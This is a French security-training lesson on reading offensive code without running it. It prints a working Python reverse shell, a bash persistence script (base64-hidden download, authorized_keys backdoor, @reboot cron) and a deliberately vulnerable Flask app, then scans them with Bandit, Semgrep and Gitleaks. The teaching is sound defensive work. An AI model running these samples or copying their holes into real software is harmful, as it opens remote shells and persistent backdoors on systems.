Analyse de code offensif — Démonstration guidée
Trois objets, zéro exécution de charge. D'abord un reverse shell Python lu ligne à ligne. Ensuite un script bash d'automatisation qui persiste. Enfin une petite application Flask passée à Semgrep, Bandit et Gitleaks, avec la sortie que vous devez savoir lire.
Les extraits Python et bash ci-dessous sont des objets d'étude. Vous les ouvrez dans l'éditeur. Vous ne les interprétez pas, vous ne les curl | bash pas, vous n'ouvrez pas de listener « pour vérifier ». L'application Flask, elle, est un lab local : on y lance les analyseurs, pas des charges contre un tiers.
Ce que vous saurez faire après cette leçon
- Annoter un reverse shell et un script de persistance sans les exécuter.
- Décoder une chaîne base64 dans un calepin, puis la ranger dans le modèle de menace.
- Installer et lancer
bandit,semgrepetgitleakssur un dépôt local. - Distinguer, dans la sortie, un secret d'exemple, une primitive réelle, et un bruit.
- Rédiger un constat à partir d'une ligne et d'un identifiant d'outil.
Étape 0 — Le dossier de travail
Tout se passe dans un répertoire que vous créez. Aucun clone d'exploit public n'est requis : on recopie les extraits pédagogiques à la main, ce qui évite d'importer un second étage caché dans un zip.
mkdir -p ~/analyse-code/{lectures,flask-mini,sorties}
cd ~/analyse-code
Vérifiez les outils. Sur Kali ou dans un venv Python :
python3 -m pip install --user bandit semgrep
# gitleaks : binaire depuis les releases officielles, ou paquet Kali
gitleaks version
bandit --version
semgrep --version
Sortie attendue (les numéros de version varient) :
gitleaks version 8.18.x
bandit 1.7.x
semgrep, version 1.8x.x
Si gitleaks manque, l'atelier accepte la même chasse aux secrets avec Semgrep p/secrets. Ne remplacez pas un outil manquant par « je lance le script pour voir ».
Étape 1 — Reverse shell Python, ligne à ligne
Créez lectures/reverse_doc.py en recopiant exactement ceci. L'IP est une adresse de documentation (RFC 5737).
# À NE PAS EXÉCUTER — échantillon pédagogique du cours.
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.0.113.7", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Ouvrez-le. Interdiction de python3 lectures/reverse_doc.py.
nl -ba lectures/reverse_doc.py
Lecture commentée
Lignes 2 à 4 — imports. Trois modules, trois rôles. socket : réseau. subprocess : processus fils. os : descripteurs de fichiers. Dès les imports, le script a tout ce qu'il faut pour un reverse shell. Aucune bibliothèque d'exploit, aucun CVE dans le nom : le danger est dans la composition.
Ligne 6 — socket.socket. Famille AF_INET (IPv4), type SOCK_STREAM (TCP). Ce n'est pas une écoute (bind / listen). C'est un client. Le sens du trafic sera sortant.
Ligne 7 — connect. Tuple en dur : 203.0.113.7 port 4444. Pas de DNS, pas de TLS, pas de configuration. Dans un vrai échantillon public, remplacez cette IP par celle que vous lisez, puis whois / classification (documentation, RFC 1918, VPS, résidentielle). Ici, on sait déjà : plage d'exemple, port historiquement associé aux shells.
Lignes 8 à 10 — os.dup2. Le descripteur du socket remplace stdin (0), stdout (1), stderr (2). Tout ce que le shell lira ou écrira passera dans la connexion. C'est la signature statique d'un reverse shell Unix. Un grep dup2 sur un dépôt suffit souvent à le trouver.
Ligne 11 — subprocess.call(["/bin/sh", "-i"]). Liste d'arguments, pas shell=True. Le danger n'est pas une injection : c'est l'intention. -i force un shell interactif. Pas de crontab, pas d'écriture de fichier : pas de persistance.
Fiche de lecture (à recopier dans lectures/fiche-reverse.md)
# Fiche — reverse_doc.py
- Type : reverse shell TCP client
- Privilège requis : pouvoir exécuter du Python (compte local)
- Prérequis réseau : sortie TCP vers 203.0.113.7:4444
- Charge : /bin/sh interactif, I/O sur le socket
- Persistance : aucune
- Obfuscation : aucune
- Décision : NE PAS EXÉCUTER
- Détection : alerte sortie 4444 ; règle Semgrep / grep sur dup2 + connect
En quatre minutes, le modèle de menace est écrit. C'est tout ce que la leçon de notions demandait. On passe à un script qui, lui, reste.
Étape 2 — Script bash d'automatisation
Beaucoup d'échantillons « d'admin » sont plus dangereux que le reverse shell : ils se prétendent une mise à jour. Créez lectures/maj_parc.sh :
#!/usr/bin/env bash
# À NE PAS EXÉCUTER — échantillon pédagogique.
set -euo pipefail
URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
chmod 755 /tmp/.maj.sh
mkdir -p "${HOME}/.ssh"
printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
chmod 600 "${HOME}/.ssh/authorized_keys"
(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -
Balayage d'abord
grep -nE 'curl|base64|authorized_keys|crontab|chmod|/tmp/' lectures/maj_parc.sh
Sortie :
5:URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
6:CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
8:curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
9:chmod 755 /tmp/.maj.sh
11:mkdir -p "${HOME}/.ssh"
12:printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
13:chmod 600 "${HOME}/.ssh/authorized_keys"
15:(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -
Quatre signaux du cours, dans un seul fichier : URL encodée, écriture authorized_keys, fichier caché dans /tmp, crontab @reboot.
Décoder, ne pas télécharger
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
echo
printf '%s' 'c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll' | base64 -d
echo
Sortie attendue :
https://203.0.113.7/outils/maj.sh
ssh-ed25519 AAAAAAGCrpJXkIAAAEgAAAAIAAAAAgAAAQEduc-cours-pedagogie
La clé est un leurre de cours (elle ne s'ouvre sur rien). Dans un échantillon réel, vous noteriez l'empreinte et le commentaire ; vous ne l'ajouteriez pas à votre propre authorized_keys « pour tester ».
Lecture :
| Bloc | Intention | Persistance |
|---|---|---|
curl vers l'URL décodée | Télécharge un second étage dans /tmp/.maj.sh | Le fichier survit jusqu'au ménage |
>> authorized_keys | Ajoute une clé SSH de l'auteur du script | Login tant que la clé reste |
crontab @reboot | Relance le second étage au démarrage | Survivit au reboot |
Le reverse shell de l'étape 1 était bruyant et éphémère. Celui-ci est calme et durable. Dans un rapport, ce n'est pas un seul constat : c'est souvent trois (téléchargement non maîtrisé, persistance SSH, persistance cron), parce que le client les retire séparément.
set -euo pipefail n'est pas un certificat de moralitéUn script soigné (options bash strictes, chmod 600) peut être une porte dérobée. L'hygiène de forme rassure l'œil ; elle ne dit rien de l'intention. Vous jugez les écritures et les destinations, pas le style.
Étape 3 — Mini application Flask à scanner
On change d'objet : plus un exploit, une appli. Créez flask-mini/app.py. Ce fichier est volontairement faible. Il n'est pas destiné à être servi sur le réseau.
# Laboratoire local — ne pas déployer.
import os
import pickle
import hashlib
import sqlite3
from flask import Flask, request
app = Flask(__name__)
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DB_PASSWORD = "SuperSecret123!"
@app.route("/user")
def user():
user_id = request.args.get("id", "1")
conn = sqlite3.connect("app.db")
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
return str(cur.fetchone())
@app.route("/ping")
def ping():
host = request.args.get("host", "127.0.0.1")
os.system("ping -c 1 " + host)
return "ok"
@app.route("/load", methods=["POST"])
def load():
return str(pickle.loads(request.data))
@app.route("/hello")
def hello():
name = request.args.get("name", "monde")
return "<h1>Bonjour %s</h1>" % name
@app.route("/login", methods=["POST"])
def login():
password = request.form.get("password", "")
return hashlib.md5(password.encode()).hexdigest()
Trois familles dans un écran : secret en dur, injection (SQL, commande, XSS), API dangereuse (pickle, MD5). C'est assez pour exercer les trois outils. L'atelier allongera le dépôt ; ici on apprend à lire la sortie.
Étape 4 — Bandit (Python seulement)
cd ~/analyse-code/flask-mini
bandit -r . -f txt | tee ../sorties/bandit.txt
Sortie attendue (extraits, l'ordre peut varier) :
Run started...
Test results:
>> Issue: [B105:hardcoded_password_string]
Possible hardcoded password: 'SuperSecret123!'
Severity: Low Confidence: Medium
Location: ./app.py:12
>> Issue: [B608:hardcoded_sql_expressions]
Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: ./app.py:19
>> Issue: [B605:start_process_with_a_shell]
Starting a process with a shell, possible injection.
Severity: High Confidence: High
Location: ./app.py:25
>> Issue: [B301:pickle]
Pickle library appears to be in use, possible security issue.
Severity: Medium Confidence: High
Location: ./app.py:30
>> Issue: [B324:hashlib]
Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
Location: ./app.py:40
Code scanned:
Total lines of code: 35
Total lines skipped (#nosec): 0
Finding severity distribution:
High: 2
Medium: 2
Low: 1
Comment on lit ça.
- B605 et B301 : primitives. Vous ouvrez les lignes 25 et 30, vous confirmez
os.systemconcaténé etpickle.loadssurrequest.data. Ce sont des constats hauts, prérequis = joindre la route. - B608 : candidat SQLi. Bandit a vu le
%/ formatage. Vous confirmez queuser_idvient derequest.args— donc entrant. - B324 : MD5 sur un mot de passe. Pas un RCE. Impact : stockage / comparaison faible. Sévérité d'outil ≠ sévérité métier : vous réécrivez la sévérité dans le constat (souvent moyenne, haute si c'est le hash de production).
- B105 :
SuperSecret123!. Vrai secret de lab. Bandit ne dit rien des clésAKIA...: ce n'est pas son métier. D'où Gitleaks à l'étape 6. - Bandit ne parle pas de la XSS ligne 35 : pas une règle Python générique assez fiable. D'où Semgrep.
Les codes Bandit (B301, B608) se citent dans le rapport. Ils permettent au client de relancer la même règle après correctif. Un « Bandit a trouvé un truc » n'est pas une preuve.
Étape 5 — Semgrep (règles Flask, Python, secrets)
semgrep --config p/python --config p/flask --config p/secrets \
--quiet --text app.py | tee ../sorties/semgrep.txt
Première exécution : Semgrep télécharge les jeux de règles. Ensuite, extraits typiques :
app.py
19┆ cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
python.flask.security.injection.tainted-sql-string
User-controlled data is used to craft an SQL query.
25┆ os.system("ping -c 1 " + host)
python.flask.security.injection.tainted-os-command
User data flows into a system command.
30┆ return str(pickle.loads(request.data))
python.lang.security.deserialization.pickle.avoid-pickle
Avoid using pickle, which can lead to code execution.
10┆ AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
generic.secrets.security.detected-aws-access-key-id-value
Lecture parallèle avec Bandit. Semgrep recoupe SQLi, commande, pickle. Il ajoute la clé AWS et, selon les règles présentes, la XSS (render / réponse HTML interpolée). Quand deux outils citent la même ligne, la preuve est plus solide. Quand un seul parle, vous ouvrez quand même la ligne : c'est le réflexe de la leçon de notions.
Si p/flask n'est pas disponible hors ligne, basculez :
semgrep --config auto --quiet --text app.py
--config auto envoie des extraits de chemins au service Semgrep pour choisir les règles. En mission, préférez des configs locales (p/python déjà téléchargé, ou un dossier rules/). Notez le choix dans le rapport : un client peut interdire la télémétrie.
Étape 6 — Gitleaks (secrets, pas de primitives)
Gitleaks n'a pas besoin que le dossier soit un dépôt Git si vous passez --no-git :
gitleaks detect --source . --no-git -v --report-path ../sorties/gitleaks.json
Sortie attendue (extraits) :
Finding: AWS Access Key
Secret: AKIA****************
File: app.py
Line: 10
RuleID: aws-access-key
Finding: Generic API Key / password
Secret: Supe****************
File: app.py
Line: 12
RuleID: generic-api-key
Qualification obligatoire. AKIAIOSFODNN7EXAMPLE et wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY sont les exemples officiels de la documentation AWS. Dans ce lab, vous les classez « secret d'exemple — à retirer quand même, le motif est le bon ». Dans un dépôt client, la même forme AKIA suivie de 16 caractères non documentés est une fuite jusqu'à preuve de révocation.
Gitleaks ne dira rien de pickle ni de os.system. Un audit « Gitleaks seul » est un audit de fuites, pas un audit de code.
Étape 7 — Un constat, pour ancrer le geste
Ouvrez sorties/constat-A01.md et rédigez un constat à partir de la ligne pickle — la plus nette.
# A-01 — Désérialisation pickle sur une route HTTP
- **Cible** : `flask-mini/app.py`, fonction `load`, route `POST /load`
- **Outils** : Bandit B301, Semgrep `python.lang.security.deserialization.pickle.avoid-pickle`
- **Preuve** :
```python
return str(pickle.loads(request.data))
```
- **Prérequis** : pouvoir joindre `POST /load` (ici : anonyme)
- **Impact** : exécution de code au chargement d'un objet pickle contrôlé par le client HTTP
- **Remédiation** : supprimer la route, ou accepter uniquement un format sûr (`json.loads` sur un schéma borné)
- **Revérification** : `bandit -r .` ne doit plus citer B301 sur ce fichier
Vous n'avez pas envoyé de pickle malveillant. La preuve est la ligne. C'est exactement ce que le module rapport attend d'une revue de code.
Étape 8 — Là où la lecture dérape
Trois erreurs, vues à chaque session.
Exécuter « juste le Flask ». flask run sur app.py expose les routes. Pour cette démonstration, ce n'est pas nécessaire : les analyseurs lisent le disque. Si vous le servez, tenez-le sur 127.0.0.1 et n'y envoyez pas de charges. L'atelier autorise le re-scan après correctif, pas le fuzzing.
Faire confiance au seul résumé Bandit. « High: 2 » n'est pas un rapport. La XSS est absente, la clé AWS aussi. Le résumé sert à prioriser l'ouverture des fichiers.
Décoder le base64 puis le piper.
# Interdit : ça télécharge et lance le second étage
# printf '%s' "$URL" | base64 -d | xargs curl | bash
Le décodage s'arrête au texte. La fiche de lecture accueille l'URL. Rien d'autre.
Bilan
En une session, sans lancer de charge :
- Le reverse shell est un client TCP +
dup2+/bin/sh. Éphémère, lisible, déjà un constat si on le trouve dans un dépôt interne. - Le script bash est une persistance triple (téléchargement, SSH, cron) cachée derrière deux chaînes base64.
- Bandit parle Python. Semgrep recoupe et ajoute Flask / secrets. Gitleaks ne parle que des secrets. Les trois se complètent.
- Un constat tient en une ligne de code, deux identifiants d'outils, un impact, un correctif, un critère de re-scan.
Prochaine leçon : à vous. Vous construisez un dépôt Flask plus complet, vous lancez les trois outils, vous livrez cinq ou six constats, vous corrigez, vous re-scannez.